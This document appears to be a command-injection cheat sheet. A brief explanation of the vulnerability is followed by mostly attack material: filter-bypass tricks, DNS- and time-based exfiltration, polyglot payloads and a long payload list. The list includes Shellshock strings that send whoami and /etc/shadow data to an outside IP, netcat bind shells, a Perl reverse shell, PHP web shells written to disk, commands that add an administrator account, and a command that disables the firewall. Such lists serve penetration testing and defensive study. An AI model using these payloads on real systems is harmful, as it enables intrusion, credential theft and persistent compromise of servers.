Command Injection

Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code.

What is OS command injection?

OS command Injection is a critical vulnerability that allows attackers to gain complete control over an affected web site and the underlying web server.

OS command injection vulnerabilities arise when an application incorporates user data into an operating system command that it executes. An attacker can manipulate the data to cause their own commands to run. This allows the attacker to carry out any action that the application itself can carry out, including reading or modifying all of its data and performing privileged actions.

In addition to total compromise of the web server itself, an attacker can leverage a command injection vulnerability to pivot the attack in the organization's internal infrastructure, potentially accessing any system which the web server can access. They may also be able to create a persistent foothold within the organization, continuing to access compromised systems even after the original vulnerability has been fixed.

Description :

Operating system command injection vulnerabilities arise when an application incorporates user-controllable data into a command that is processed by a shell command interpreter. If the user data is not strictly validated, an attacker can use shell metacharacters to modify the command that is executed, and inject arbitrary further commands that will be executed by the server.

OS command injection vulnerabilities are usually very serious and may lead to compromise of the server hosting the application, or of the application's own data and functionality. It may also be possible to use the server as a platform for attacks against other systems. The exact potential for exploitation depends upon the security context in which the command is executed, and the privileges that this context has regarding sensitive resources on the server.

Tools

commix - Automated All-in-One OS command injection and exploitation tool

Exploits

Basic commands

Execute the command and voila :p

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Chaining commands

original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls   # Only if the first cmd fail

Inside a command

original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)

Filter Bypasses

Bypass without space

Works on Linux only.

swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab:~$ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242

Commands execution without spaces, $ or { } - Linux (Bash only)

IFS=,;`cat<<<uname,-a`

Tabs work as separators in web apps where spaces are removed.

;ls%09-al%09/home
drwxr-xr-x  4 root root  4096 Jan 10 13:34 .
drwxr-xr-x 18 root root  4096 Jan 10 13:33 ..
drwx------  2 root root 16384 Jan 10 13:31 lost+found
drwxr-xr-x  4 test test  4096 Jan 13 08:30 test

Works on Windows only.

ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP

Bypass with a line return

something%0Acat%20/etc/passwd

You can also write files.

;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello

Bypass characters filter via hex encoding

Linux

swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

Bypass characters filter

Commands execution without backslash and slash - linux bash

swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

Bypass Blacklisted words

Bypass with single quote

w'h'o'am'i

Bypass with double quote

w"h"o"am"i

Bypass with backslash and slash

w\ho\am\i
/\b\i\n/////s\h

Bypass with $@

who$@ami

echo $0
-> /usr/bin/zsh
echo whoami|$0

Bypass with $()

who$()ami
who$(echo am)i
who`echo am`i

Bypass with variable expansion

/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

Bypass with wildcards

powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

Challenge

Challenge based on the previous tricks, what does the following command do:

g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}

Time based data exfiltration

Extracting data : char by char

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Based on the tool from https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online tools to check for DNS based data exfiltration:

dnsbin.zhack.ca
pingb.in

Polyglot command injection

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'

Unix :

&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>

Windows :

`
|| 
| 
; 
'
'"
"
"'
& 
&& 
%0a
%0a%0d

%0Aid
%0a id %0a
%0Aid%0A
%0a ping -i 30 127.0.0.1 %0a
%0A/usr/bin/id
%0A/usr/bin/id%0A
%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
%20{${phpinfo()}}
%20{${sleep(20)}}
%20{${sleep(3)}}
a|id|
a;id|
a;id;
a;id\n
() { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12
| curl http://crowdshield.com/.testing/rce.txt
& curl http://crowdshield.com/.testing/rce.txt
; curl https://crowdshield.com/.testing/rce_vuln.txt
&& curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
$(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
dir
| dir
; dir
$(`dir`)
& dir
&&dir
&& dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
dir C:\
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
dir C:\Documents and Settings\*
| dir C:\Users
; dir C:\Users
& dir C:\Users
&& dir C:\Users
dir C:\Users
;echo%20'<script>alert(1)</script>'
echo '<img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX
| echo "<?php include($_GET['page'])| ?>" > rfi.php
; echo "<?php include($_GET['page']); ?>" > rfi.php
& echo "<?php include($_GET['page']); ?>" > rfi.php
&& echo "<?php include($_GET['page']); ?>" > rfi.php
echo "<?php include($_GET['page']); ?>" > rfi.php
| echo "<?php system('dir $_GET['dir']')| ?>" > dir.php 
; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
&& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php 
echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
| echo "<?php system($_GET['cmd'])| ?>" > cmd.php
; echo "<?php system($_GET['cmd']); ?>" > cmd.php
& echo "<?php system($_GET['cmd']); ?>" > cmd.php
&& echo "<?php system($_GET['cmd']); ?>" > cmd.php
echo "<?php system($_GET['cmd']); ?>" > cmd.php
;echo '<script>alert(1)</script>'
echo '<script>alert(1)</script>'// XXXXXXXXXXX
echo '<script src=https://crowdshield.com/.testing/xss.js></script>'// XXXXXXXXXXX
| echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
; echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
&& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
() { :;}; echo vulnerable 10
eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
eval('ls')
eval('pwd')
eval('pwd');
eval('sleep 5')
eval('sleep 5');
eval('whoami')
eval('whoami');
exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
exec('ls')
exec('pwd')
exec('pwd');
exec('sleep 5')
exec('sleep 5');
exec('whoami')
exec('whoami');
;{$_GET["cmd"]}
`id`
|id
| id
;id
;id|
;id;
& id
&&id
;id\n
ifconfig
| ifconfig
; ifconfig
& ifconfig
&& ifconfig
/index.html|id|
ipconfig
| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all
ls
$(`ls`)
| ls -l /
; ls -l /
& ls -l /
&& ls -l /
ls -l /
| ls -laR /etc
; ls -laR /etc
& ls -laR /etc
&& ls -laR /etc
| ls -laR /var/www
; ls -laR /var/www
& ls -laR /var/www
&& ls -laR /var/www
| ls -l /etc/
; ls -l /etc/
& ls -l /etc/
&& ls -l /etc/
ls -l /etc/
ls -lh /etc/
| ls -l /home/*
; ls -l /home/*
& ls -l /home/*
&& ls -l /home/*
ls -l /home/*
*; ls -lhtR /var/www/
| ls -l /tmp
; ls -l /tmp
& ls -l /tmp
&& ls -l /tmp
ls -l /tmp
| ls -l /var/www/*
; ls -l /var/www/*
& ls -l /var/www/*
&& ls -l /var/www/*
ls -l /var/www/*
\n
\n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`
\n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`
\n/bin/ls -al\n
| nc -lvvp 4444 -e /bin/sh|
; nc -lvvp 4444 -e /bin/sh;
& nc -lvvp 4444 -e /bin/sh&
&& nc -lvvp 4444 -e /bin/sh &
nc -lvvp 4444 -e /bin/sh
nc -lvvp 4445 -e /bin/sh &
nc -lvvp 4446 -e /bin/sh|
nc -lvvp 4447 -e /bin/sh;
nc -lvvp 4448 -e /bin/sh&
\necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n
\necho INJECTX\nexit\n\033[2Asleep 5\n
\necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n
| net localgroup Administrators hacker /ADD
; net localgroup Administrators hacker /ADD
& net localgroup Administrators hacker /ADD
&& net localgroup Administrators hacker /ADD
net localgroup Administrators hacker /ADD
| netsh firewall set opmode disable
; netsh firewall set opmode disable
& netsh firewall set opmode disable
&& netsh firewall set opmode disable
netsh firewall set opmode disable
netstat
;netstat -a;
| netstat -an
; netstat -an
& netstat -an
&& netstat -an
netstat -an
| net user hacker Password1 /ADD
; net user hacker Password1 /ADD
& net user hacker Password1 /ADD
&& net user hacker Password1 /ADD
net user hacker Password1 /ADD
| net view
; net view
& net view
&& net view
net view
\nid|
\nid;
\nid\n
\n/usr/bin/id\n
perl -e 'print "X"x1024'
|| perl -e 'print "X"x16096'
| perl -e 'print "X"x16096'
; perl -e 'print "X"x16096'
& perl -e 'print "X"x16096'
&& perl -e 'print "X"x16096'
perl -e 'print "X"x16384'
; perl -e 'print "X"x2048'
& perl -e 'print "X"x2048'
&& perl -e 'print "X"x2048'
perl -e 'print "X"x2048'
|| perl -e 'print "X"x4096'
| perl -e 'print "X"x4096'
; perl -e 'print "X"x4096'
& perl -e 'print "X"x4096'
&& perl -e 'print "X"x4096'
perl -e 'print "X"x4096'
|| perl -e 'print "X"x8096'
| perl -e 'print "X"x8096'
; perl -e 'print "X"x8096'
&& perl -e 'print "X"x8096'
perl -e 'print "X"x8192'
perl -e 'print "X"x81920'
|| phpinfo()
| phpinfo()
 {${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();
<?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
<?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj");?>
<?php system("echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");?>
<?php system("sleep 10");?>
<?php system("sleep 5");?>
<?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
<?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc");?>
:phpversion();
`ping 127.0.0.1`
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;${@print(md5(RCEVulnerable))};
${@print("RCEVulnerable")}
${@print(system($_SERVER['HTTP_USER_AGENT']))}
pwd
| pwd
; pwd
& pwd
&& pwd
\r
